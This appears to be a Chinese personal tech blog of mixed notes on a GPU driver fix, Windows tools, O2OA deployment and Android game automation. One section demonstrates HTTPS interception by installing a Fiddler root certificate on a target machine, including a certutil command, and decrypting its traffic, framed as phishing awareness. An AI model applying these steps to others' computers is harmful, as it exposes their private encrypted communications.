Q1: 只要启动 docker 服务,nvidia-smi 就会报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
speaches  |  when using [('CUDAExecutionProvider', {}), ('CPUExecutionProvider', {})]

speaches | Falling back to ['CPUExecutionProvider'] and retrying.

speaches | ****************************************

speaches | 2026-07-28 13:21:42,456:INFO:speaches.executors.shared.base_model_manager:_load:75:Model silero_vad_v5 loaded in 0.12s

speaches | 2026-07-28 13:21:42,456:DEBUG:speaches.executors.shared.base_model_manager:_increment_ref:83:Incremented ref count for silero_vad_v5, self.ref_count=1

speaches | 2026-07-28 13:21:49,379:DEBUG:speaches.executors.silero_vad_v5:__call__:138:VAD model inference took 6.8950s

speaches | 2026-07-28 13:21:49,698:DEBUG:speaches.executors.shared.base_model_manager:_decrement_ref:88:Decremented ref count for silero_vad_v5, self.ref_count=0

speaches | 2026-07-28 13:21:49,698:INFO:speaches.executors.shared.base_model_manager:_decrement_ref:98:Model silero_vad_v5 is idle, not unloading

speaches | 2026-07-28 13:21:49,698:DEBUG:speaches.executors.silero_vad_v5:get_speech_timestamps:307:VAD processing took 7.3658s for 3765.50s audio

speaches | 2026-07-28 13:21:49,701:DEBUG:speaches.executors.shared.base_model_manager:_load:72:Loading model Systran/faster-whisper-medium

A1: 显卡从休眠唤醒失败: 笔记本显卡在空闲时,Linux 驱动会自动把 GPU 置入 D3cold(深度省电模式)。当 Docker 容器启动并加载 CUDA/ONNX 运行时,会强行向 GPU 发送初始化指令,导致显卡从休眠唤醒时 PCIe 响应超时。

驱动失去响应: 唤醒失败后,NVIDIA 驱动抛出错误(通常会在内核日志里显示 GPU has fallen off the bus),导致 nvidia-smi 无法读取传感器温度、风扇和功耗信息,全显示为 ERR!。

1
2
3
4
5
# 临时开启常驻模式:
sudo nvidia-smi -pm 1

# 设置开机自启(使其永久生效):
sudo systemctl enable --now nvidia-persistenced

防止节点钓鱼

安全建议

  • 设置非全局模式,国内能访问的站点就不要使用代理
  • HTTP 站点如果要进行敏感操作,不要使用代理(安全的网站都是用 HTTPS 协议)
  • 千万别被安装了根证书,这是最重要的一条,会帔看个精光
  • 最好不要使用自带节点的第三方软件,某某加速器、某某 VPN 等这种软件可能会给你安装证书。
  • 经常性检查证书链,保障数据安全

链路分析

  • 创建一个根证书

    打开 Fiddler Classic,点击顶部菜单栏的 Tools -> Options…。

    切换到 HTTPS 选项卡。

    勾选 Capture HTTPS CONNECTs 和 Decrypt HTTPS traffic。

    勾选后,Fiddler 会自动弹窗问你是否要将根证书安装到系统受信任区域,点击 Yes 即可。

    如果需要导出证书文件(例如给手机安装):

    点击右侧的 Actions 按钮。

    选择 Export Root Certificate to Desktop。

    此时你的桌面就会出现一个名为 FiddlerRoot.cer 的证书文件。

    这个证书会被写入到第三方软件的内部,软件安装的时候会在目标机器上生成一个根证书。

  • 把证书传到目标电脑上执行安装来模拟证书被注入的过程:

    方法一:手动图形化安装(最适合单台电脑)

    启动安装向导:双击该证书文件,在弹出的窗口中点击 “安装证书…” (Install Certificate)。

    选择存储位置:

    选 “当前用户”(仅对当前登录账号生效,通常不需要管理员权限)。

    选 “本地计算机”(对电脑上所有账号生效,推荐,需要管理员权限)。

    点击“下一步”。

    【最关键的一步】选择证书存储:

    选择 “将所有的证书都放入下列存储”。

    点击 “浏览” 按钮。

    在列表中选中 受信任的根证书颁发机构 (Trusted Root Certification Authorities)。

    点击“确定”,然后“下一步”,最后点击“完成”。

    安全警告确认:如果系统弹出一个安全警告弹窗,询问是否要安装此证书,点击 “是” 即可。

    方法二:命令行极速安装(适合自动化 / 批处理脚本)

    以管理员身份运行命令提示符 (CMD) 或 PowerShell。 执行以下命令(将路径替换为你实际的证书文件路径):

    1
    2
    certutil -addstore -f "Root" "C:\路径\到\你的\FiddlerRoot.cer"
    # 看到“CertUtil: -addstore 命令成功完成”的提示,就说明安装好了。
  • 目标电脑 google 安装插件 SwitchyOmega 用于模拟开了的代理软件对数据进行转发

    配置转发 fillder所在的服务器IP地址:8888

    开启 Fiddler 允许远程连接:

    打开 Fiddler Classic,依次点击菜单栏 Tools -> Options -> Connections。

    勾选 Allow remote computers to connect(允许远程计算机连接)。

    (修改后需要重启一次 Fiddler 才能生效)。

    此时被注入的目标电脑就能通过代理转发到 fillder 服务上网了,但是使用的还是原有的证书,也并不能看见解密的信息

  • 安装了根证书并不等于开启了解密!Fiddler 默认只捕获 HTTP,对 HTTPS 流量只做透传(Tunnel),所以浏览器看到的还是原厂证书。

解决办法:

打开 Fiddler,点击菜单栏 Tools -> Options -> HTTPS 页签。

确保勾选了 Decrypt HTTPS traffic(解密 HTTPS 流量)。

下方的下拉菜单选择 from all processes(捕获所有进程)或 from browsers only。

点击 OK 保存并重启(如果是第一次勾选,它会提示你重新生成并安装一次证书)。

这样可以在左侧列表中看到被拦截的并解密的明文信息。

证书校验流程

当我们首次访问一个之前从未去过的网站(比如 https://example.com)时,你的电脑里确实没有 example.com 的证书。

那么浏览器到底是怎么敢信任这个网站的呢?核心原因在于:TLS 证书体系采用的是“信任链 (Chain of Trust)”机制。

你可以把证书验证想象成去办理出国签证:海关(浏览器)并不认识你个人(网站),但海关认识给你盖章的“大使馆/公安局(根证书颁发机构 CA)”。

证书的“家族树”:三层信任链结构,在真实的互联网中,证书通常分为三层:

1
2
3
4
5
6
7
[ 根证书 Root CA ]             ---- 存放在你的 Windows / macOS 系统信任库中(预装好的)
│ (签发/盖章)
▼
[ 中级证书 Intermediate CA ] ---- 由 CA 机构持有,负责日常签发
│ (签发/盖章)
▼
[ 站点证书 Server/Leaf ] ---- 你访问的网站(如 example.com)持有的证书

根证书 (Root CA):全球权威的“超级公章”(如 DigiCert, Sectigo, Let’s Encrypt)。它们数量很少(几百个),在你买电脑/装操作系统时,微软或苹果就已经预先打包安装在你的系统里了。

中级证书 (Intermediate CA):根证书的“代理人”。为了防止根证书的私钥泄露导致全球信任崩塌,根 CA 通常把私钥锁在保险柜里,平时只用中级证书来给具体的网站盖章。

站点证书 (Leaf Certificate):网站管理员买到的、写着 example.com 的证书。

当 Chrome 拿到服务器发过来的证书链后,它会在你的电脑本地进行以下 4 步严格审查:

步骤 A:查验域名与有效期 (Domain & Expiry Verification)

检查域名:这个证书里的 Subject Alternative Name (SAN) 字段写的是不是 example.com?(防止拿 baidu.com 的证书来冒充 example.com)。

检查时间:当前时间是不是在证书的 Not Before 和 Not After(有效期)之间?

步骤 B:沿着“信任链”向上溯源 (Chain Building)

浏览器看站点证书:“你是 example.com,谁给你签发的?” $\rightarrow$ 发现签名者是 “DigiCert Global TLS Intermediate CA”。

浏览器检查随请求一起发过来的中级证书,确认签名正确。

浏览器继续看中级证书:“你又是谁签发的?” $\rightarrow$ 发现签名者是 “DigiCert Global Root CA”。

步骤 C:对暗号,比对系统预装的“根证书库” (Trust Anchor Matching)

浏览器拿着寻找目标的名称 “DigiCert Global Root CA”,打开你的 Windows 系统内置的 “受信任的根证书颁发机构” 数据库。

结果:找到了! 你的 Windows 系统里早已躺着这个 DigiCert 的根证书公钥。

步骤 D:数学密码学验证(公钥验签)

用系统里的根证书公钥,去解密并验证中级证书上的数字签名 $\rightarrow$ 验证成功!(证明中级证书合法)。

用中级证书的公钥,去解密并验证 example.com 站点证书上的数字签名 $\rightarrow$ 验证成功!(证明站点证书合法)。

兜底检查:证书有没有被临时吊销?(Revocation Check)

即使证书没过期、签名也对,网站如果私钥泄露,CA 机构会提前吊销这张证书。浏览器还会通过以下方式快速确认:

OCSP Stapling(在线证书状态协议):服务器在握手时直接附带一份来自 CA 的“带防伪印章的证明”,证明这张证书今天依然有效。

CRL(证书吊销列表):浏览器定期下载的黑名单列表。

问题

  • Q: Chrome 走了 QUIC (HTTP/3) 协议,绕过了 HTTP 代理
    Google 自家的服务(Google 搜索、YouTube 等)默认会优先使用基于 UDP 的 QUIC 协议。
    Fiddler 只支持基于 TCP 的 HTTP/1.1 和 HTTP/2,无法拦截 UDP 流量。当 Chrome 走 QUIC 时,流量直接绕过代理直连了 Google,所以你看到的是官方证书。

    A: Chrome 的 QUIC 协议

    在 Chrome 地址栏输入并打开:chrome://flags/#enable-quic

    找到 Experimental QUIC protocol,将其状态改为 Disabled。

    点击右下角的 Relaunch 重启浏览器。

  • Q: 为什么本地电脑也受影响?
    当你在本地电脑上打开 Fiddler Classic 时,它在后台默默做了这件事:

    它把 Windows 系统的代理设置自动改成了 127.0.0.1:8888。

    因为 Chrome、Edge、IE 以及绝大多数 Windows 应用,默认都会读取系统全局代理,所以你本地电脑上的所有网页请求,都会强制自动走 Fiddler。

    只要请求走了 Fiddler,并且你开启了 HTTPS 解密,Fiddler 就会用它安装在本地的根证书去重签网页,因此你在本地电脑访问网页时就会看到 Fiddler 的证书。

    如果你只希望通过代理插件(比如 SwitchyOmega)或远程设备连过来,而不想让本地电脑的所有软件都被 Fiddler 劫持,可以关闭 Fiddler 的“系统代理”功能:

    操作步骤:
    关闭 Fiddler 的系统代理捕获:

    Fiddler Classic:点击左下角的 Capturing 字样(或者按 F12),取消它的勾选。此时左下角不会显示 Capturing。

    或者取消勾选顶部菜单 File -> Capture Traffic。

    保持 Fiddler 的监听端口开放:

    只要 Fiddler 软件开着(并且在 Tools -> Options -> Connections 里勾选了 Allow remote computers to connect),它的 8888 端口就在后台持续监听着。

    效果:

    此时你本地的普通浏览器、软件不再走 Fiddler,访问网站依然是原厂证书。

    只有开启了 SwitchyOmega 插件的浏览器,或者配置了代理(指向 你的IP:8888)的远程电脑/手机,流量才会进入 Fiddler 被拦截解密。

Windows 实用工具

Snipaste 截图工具

F1 快捷键截图

PowerToys

通过 windows ·商店下载

FancyZones 可实现高度自定义的窗口分屏.

将软件拖入分区:核心操作:按住 Shift 键.布局配置完成后,关闭 PowerToys。
接下来在日常使用中:用鼠标左键按住你要移动的软件窗口(比如浏览器)的标题栏。长按键盘上的 Shift 键。此时,屏幕上会浮现出你刚才画好的分区。将窗口拖入目标区域,当区域高亮显示时,松开鼠标左键,窗口就会瞬间完美贴合该区域。

接管 Windows 原生快捷键:如果你习惯用键盘操作分屏,可以在 FancyZones 设置页面的“窗口行为”选项卡中进行微调:勾选“覆盖 Windows 贴靠快捷键”。开启后,当你选中一个软件窗口并按下 Win + 左/右方向键 时,窗口会按照你 FancyZones 划定的区域进行移动,而不是 Windows 自带的默认 50% 居中分屏。

Flow Launcher + Everything

分别独立安装两个软件

打开 Flow Launcher setting => Plugins => Explorer => General setting 把搜索引擎修改为 Everything

O2OA 私有化部署

安装 mysql 数据库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# 安装服务
sudo apt install -y mysql-server

# 检查服务是否启动
systemctl status mysql

# 首次登录没有密码
sudo mysql -u root -p

# 创建对应的数据库

CREATE DATABASE my_database
CHARACTER SET utf8mb4
COLLATE utf8mb4_general_ci;
# 查看所有数据库
SHOW DATABASES;

# 删除数据库
DROP DATABASE database_name;
# 修改字符集和排序
ALTER DATABASE database_name
CHARACTER SET utf8mb4
COLLATE utf8mb4_general_ci;

# 创建新用户
# 'localhost':表示该用户只能从本地机器连接到数据库。如果希望该用户可以从任何主机连接,可以使用 '%',如 'new_user'@'%'。
CREATE USER 'new_user'@'localhost' IDENTIFIED BY 'your_password';
# 查看所有用户
SELECT User, Host FROM mysql.user;


#ALL PRIVILEGES:赋予所有权限。
# my_database.*:指示该用户可以对 my_database 数据库中的所有表进行操作。
# 'localhost':表示该用户只能从本地连接。
GRANT ALL PRIVILEGES ON my_database.* TO 'new_user'@'localhost';

# 刷新权限
FLUSH PRIVILEGES;

# 查看端口
SHOW VARIABLES LIKE 'port';

cat /etc/mysql/mysql.conf.d/mysqld.cnf

下载安装包

下载 安装包

解压并复制到 /opt

1
2
3
unzip  o2server-8.2.3-linux-x64.zip

mv o2server /opt

配置服务器端口

O2OA 服务器端口配置文件所在位置:o2server/config/node_127.0.0.1.json

如果目录里没有该文件或者没有 config 目录,可以新建一个 config 目录,然后从 configSample 目录里 COPY 一个到新建的 config 目录下。

1
# 自行修改web端口配置

自启动服务

因为需要用 root 用户启动服务,所以先配置开机启动服务

1
2
3
4
./service_linux.sh o2server start_linux.sh

systemctl enable o2server
systemctl start o2server

配置数据库链接

1
jdbc:mysql://127.0.0.1:3306/o2oa_db?autoReconnect=true&allowPublicKeyRetrieval=true&useSSL=false&useUnicode=true&characterEncoding=UTF-8&useLegacyDatetimeCode=false&serverTimezone=GMT%2B8

Enternium 自动化脚本

环境配置

下载 airtest 新建 .airtest 项目, 创建的 .air 文件就是一个含有 python 文件的文件夹,可以使用 python 语法,也可以使用 airtest 封装的命令

文件拆分

可以创建多个 .air 文件,或是使用原生的 python 文件, 例如

1
2
3
4
5
6
7
# utils.air

# -*- encoding=utf8 -*-
from airtest.core.api import *

def multi_touch(pos, times=3, base_duration=0.135, base_interval=0.1):
logger.debug("点击坐标")

在主文件调用

1
2
3
4
5
6
7
8
# -*- encoding=utf8 -*-

from airtest.core.api import *

using("../utils.air")
from utils import multi_touch

multi_touch((target_x, target_y), times=2,base_duration=0.135, base_interval=3.2)

手势

为什么原生 ADB 无法实现连续的复杂手势,Minitouch 可以完美实现

每次你执行一句 adb shell input 命令,Android 底层都需要启动一个新的 Java 进程(app_process)来解析和执行这个动作。这个进程的启动和虚拟机初始化通常需要 100ms - 300ms 甚至更久。如果你想通过连续发送多条 ADB 命令来画一个圆,命令与命令之间会有明显的卡顿和停顿,手指(触点)会在屏幕上“断开”又“重连”,根本连不起来。

指令本身的局限性(缺乏流式控制)
原生 ADB 的 input 命令只支持离散的指令(点击一次,或者两点之间的一条直线滑动)。它没有提供“按下 (Down) -> 移动到点A (Move) -> 移动到点B (Move) -> 抬起 (Up)” 这种拆分状态的流式 (Streaming) 接口。

当你在 Airtest 中指定了 touch_method=MINITOUCH 时,Airtest 并不是在调用 ADB 命令,而是使用了完全不同的底层架构:

常驻的 Socket 连接(零启动延迟)
Airtest 会在设备端推入一个用 C/C++ 编写的 minitouch 守护进程,并在设备内部启动一个 Server。你的纯 Python 脚本会通过 ADB 端口转发(Port Forwarding)与这个 Server 建立一个 TCP Socket 连接。建立连接后,Python 脚本发送动作指令只是一次极快的网络 I/O,延迟在毫秒级,完全没有进程启动的开销。

直达 Linux 内核级别的事件注入 (evdev)
Minitouch 绕过了 Android 庞大臃肿的 Framework 层(InputManager),直接向 Android 底层的 Linux 驱动节点(通常是 /dev/input/eventX)写入原始的触摸事件。

基于状态机的连续指令
Minitouch 拥有极其精简的自定义协议,完美支持连续动作。在你的 Python 脚本底层,Airtest 可以通过 Socket 连续发送如下指令:

d 0 100 200 50 (第 0 个触控点,在坐标 100,200 按下,压力 50)
c (Commit,提交生效)
m 0 110 210 50 (触控点 0 移动到 110,210)
c (提交生效)
u 0 (触控点 0 抬起)
c (提交生效)

实现一个手势
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# -*- encoding=utf8 -*-
from airtest.core.api import *
# 切换设备的触控驱动为 MINITOUCH 或 MAXTOUCH
auto_setup(__file__, devices=["Android://127.0.0.1:5037/emulator-5554?touch_method=MINITOUCH"])

# -*- encoding=utf8 -*-

from airtest.core.api import *

def draw_v_gesture(size=300, duration=0.5):
"""
用 dev.swipe_along 实现一笔画 V 字手势(中途绝不抬手)
"""
# 1. 获取当前设备对象
dev = device()
width, height = dev.get_current_resolution()

# 2. 计算中心点与 V 字的 3 个轨迹点
center_x = width / 2
center_y = height / 2
half_size = size / 2

p1 = (center_x - half_size, center_y - half_size) # 起点(左上)
p2 = (center_x, center_y + half_size) # 拐点(底部)
p3 = (center_x + half_size, center_y - half_size) # 终点(右上)

# 3. 调用设备的 swipe_along 接口,传入 3 个坐标构成的轨迹数组
# 这个接口在底层会依次 down -> move(p2) -> move(p3) -> up,保证一笔画完
dev.swipe_along([p1, p2, p3], duration=duration, steps=10)
  1. 如何一直向着“雾气”区域探索?
    从图片 image_2e587d.jpg 中可以看出,探索过的区域是深灰色的地面(带绿树),而未探索的雾气呈现出非常明显的黄褐色/土黄色。

解决方案:HSV 颜色掩膜(Color Masking)
我们不再判断“哪里亮”,而是专门寻找“黄褐色”。

提取雾气: 使用 OpenCV 将小地图从 BGR 转换为 HSV 颜色空间。设定黄褐色的阈值(Hue 约在 15-40 之间),过滤出一张只包含雾气的二值化黑白图(雾气部分是白色,其他全是黑色)。

计算重心: 找到这块白色区域的重心(质心),或者寻找离屏幕中心(玩家)最近的雾气边缘点。

输出向量: 算出从屏幕中心指向这个雾气重心的角度,这就是你要前进的方向。

  1. 陷入四周都是黑色边界的死胡同,如何找到出口?
    在图片右侧和下方,不可跨越的边界(虚空/墙壁)呈现出纯黑色或极暗的棕黑色。当你陷入死胡同时,你的四周绝大部分方向都是这种纯黑边界,只有出口方向是深灰色的地面。

解决方案:小地图射线投射法(Minimap Raycasting)
这是一种非常经典的 2D 寻路算法,它模仿了雷达扫描。

二值化墙壁: 把小地图转化为灰度图,设定一个极低的亮度阈值(比如像素值 < 15),把所有“纯黑边界”提取出来。

发射射线: 以小地图中心(玩家位置)为起点,向 8 个或 16 个方向(每隔 45 度或 22.5 度)发射虚拟射线。

测量距离: 射线在碰到“纯黑像素”时停止。记录每条射线延伸的长度。

决策出口: 哪条射线最长,说明那个方向的空地最大、路最远。 在死胡同里,最长的那条线必定指向出口。

核心代码实现
我们可以将这两个逻辑写成两个函数。以下是利用 OpenCV 分析你这张截图的实现思路:

Python
import cv2
import numpy as np
import math

def get_fog_direction(minimap):
“””
目标1:寻找雾气方向
“””
# 转换到 HSV 空间寻找黄褐色雾气
hsv = cv2.cvtColor(minimap, cv2.COLOR_BGR2HSV)

# 设定黄褐色雾气的 HSV 范围(需要根据实际截图微调)
lower_fog = np.array([15, 50, 50])
upper_fog = np.array([40, 255, 255])

mask = cv2.inRange(hsv, lower_fog, upper_fog)

# 寻找雾气的轮廓
contours, _ = cv2.findContours(mask, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)
if contours:
    # 找到面积最大的雾气块
    largest_contour = max(contours, key=cv2.contourArea)
    M = cv2.moments(largest_contour)
    if M["m00"] != 0:
        # 计算雾气重心
        target_x = int(M["m10"] / M["m00"])
        target_y = int(M["m01"] / M["m00"])
        
        # 计算方向角
        h, w = minimap.shape[:2]
        center_x, center_y = w // 2, h // 2
        dx = target_x - center_x
        dy = center_y - target_y # Y轴向下反转
        angle = math.degrees(math.atan2(dy, dx))
        return angle % 360
return None

def find_exit_direction(minimap):
“””
目标2:陷入死胡同时,用射线法寻找出口
“””
# 转换为灰度图
gray = cv2.cvtColor(minimap, cv2.COLOR_BGR2GRAY)
h, w = gray.shape
center_x, center_y = w // 2, h // 2

max_length = 0
best_angle = 0

# 向 16 个方向发射射线(每 22.5 度一根)
for angle in range(0, 360, 22):
    radian = math.radians(angle)
    length = 0
    
    # 逐步向外延伸射线,每次步进 2 个像素
    while True:
        test_x = int(center_x + length * math.cos(radian))
        test_y = int(center_y - length * math.sin(radian))
        
        # 边界检查
        if not (0 <= test_x < w and 0 <= test_y < h):
            break
            
        # 碰到黑色边界(像素值 < 20 判定为黑墙)停止延伸
        if gray[test_y, test_x] < 20:
            break
            
        length += 2
        
    # 记录最长的一根射线
    if length > max_length:
        max_length = length
        best_angle = angle
        
return best_angle

寻路逻辑的最佳整合
在你的主循环中,可以将这两个函数与之前讨论的状态机结合起来:

第一优先级: 检查小地图是否有红点(怪物),有则追踪。

第二优先级: 如果没怪物,调用 get_fog_direction()。如果有明确的雾气方向,向着雾气走。

第三优先级(兜底): 如果被卡住(连续判定移动失败),立刻调用 find_exit_direction(),程序会像雷达一样扫出最长的那条路(即死胡同出口),强制向那里突围。

这三个问题非常深刻,完全触及了自动寻路算法(尤其是基于未知环境的“SLAM/前沿探索”算法)的最核心痛点。

其实,上一轮给你写的那套结合了“最近雾气(Closest Fog)”与“射线避障(Raycast)”的代码,在底层逻辑上已经天然地、数学化地兼容了这三种极端情况。

我们把这三个问题逐一拆解,看看这套逻辑是如何在底层完美闭环的。

问题一:出生地背后是墙,前方是雾气,如何兼容“走向雾气”与“沿墙走”?
逻辑核心:雾气是“目的”,墙壁是“约束”。

这套算法并不是“盲目找墙去贴”,而是“直线走向雾气,遇到墙才贴墙”。

在出生地,你的目标角度(最近的雾气)一定在前方。

算法会向前方发射射线。因为你背对墙壁,前方的射线是畅通无阻的(check_ray_clear 返回 True)。

此时,系统根本不会去理会你背后的墙,而是直接下达指令:直线走向前方的雾气。

只有当雾气在墙角的另一边,你的直线射线“撞”到了墙,算法才会启动“沿墙寻找安全角度”的逻辑(向左右偏移 15°、30° 等),从而表现出“顺着墙壁边缘走过去”的动作。

结论: 这两者完全不冲突,系统会自动在“开阔地直线冲锋”和“有障碍物贴墙绕行”之间无缝切换。

问题二:死胡同的墙被藏在雾气下,探开后发现死路,如何走出去?
你提到的细节非常精准:“墙的边界在雾气下面,没探索是看不见的”。这正是机器人导航中经典的“局部感知死胡同困境”。

但别担心,上一轮代码中的 get_best_safe_angle(安全角度扫掠)就是专门为了破解这个困境而设计的。让我们推演一下死胡同里的运作过程:

陷入死胡同: 你把死胡同里的雾气全吃光了,周围暴露出了纯黑的墙壁。

目标在墙外: 此时,离你最近的下一片雾气,一定在死胡同外面(也就是隔着一堵黑墙)。

直线撞墙: 算法向着那片雾气发射直线射线,必然撞到死胡同的黑墙。

雷达扫掠寻找出口: 算法发现前方不通,开始向两侧展开测试(±15°, ±30°…)。它发射的射线会扫过死胡同的左墙、右墙,全部提示撞墙。

找到来时的路: 当算法扫掠到死胡同的“入口”(也就是你刚走进来的那个方向,那里是深灰色的已探索地面,没有黑墙)时,射线畅通无阻!

成功脱困: 算法会立刻返回这个指向出口的角度。你的角色会华丽地转个身,顺着死胡同的边缘,稳稳地走出去。

结论: 只要死胡同有出口,射线扫掠机制(从 0° 一直扫到 180°)就一定能把出口“摸”出来,强制角色回头。

问题三:没有墙的独立雾气区域,如何保证不留下雾气碎块?
当你遇到一片处于广场正中央、周围没有任何墙壁的独立大雾区时,你担心角色会像无头苍蝇一样乱穿,把雾气切成碎片。

这正是我们使用 “最近边缘优先法则(Closest Frontier First)” 的最大意义。这套数学逻辑是自带“强迫症”的:

永远吃最近的一口: get_closest_fog 函数计算了屏幕上每一个雾气像素点到你当前位置的绝对欧氏距离。它不仅指出了方向,还锁定了离你最近的那个像素。

连续推进,绝不跳跃: 当你向着最近的像素走了一步,这个像素被探开了(变成了深灰色),下一帧,紧挨着它的那一点,自然就成为了新的“最近像素”。

推土机效应: 这种逻辑在宏观上表现出来的行为,就像是一台推土机。它会沿着雾气的最外层边缘,一层一层地、均匀地向内推进。

绝不留碎块: 如果系统留下了一个碎块在身后,那么那个身后的碎块距离你的绝对距离,一定小于前方的大片雾气。系统会立刻调转枪头,先把这个小碎块“吃干抹净”,然后再继续向前推进。

结论: 在没有墙壁干扰的开阔地带,基于欧氏距离最短的“贪心吃雾”算法,是最完美的“无死角扫图”策略。它在几何学上保证了探索边界的连续性,绝对不会遗漏任何一块碎片。

推荐技术栈与实现步骤
技术选型
推流与通信:

推流获取: 使用 scrcpy 的底层 ffmpeg / PyAV 接口,或者模拟器的共享内存/ADB 截图(每秒 15-30 帧即可满足 RL 需求)。

动作发送: Minidriver / Minitouch / ADB(高频低延迟点击)。

强化学习框架:

Stable-Baselines3 (SB3): 目前 Python 最成熟的 RL 库。

算法首选:PPO (Proximal Policy Optimization) —— 容错率高、收敛稳定,非常适合处理屏幕图像输入(Nature-CNN 骨干网络)。

环境封装:

使用 Gymnasium (OpenAI Gym) 将游戏包装成标准环境:env.reset() 和 env.step(action)。

  • Copyrights © 2015-2026 SunZhiqi

此时无声胜有声!

支付宝
微信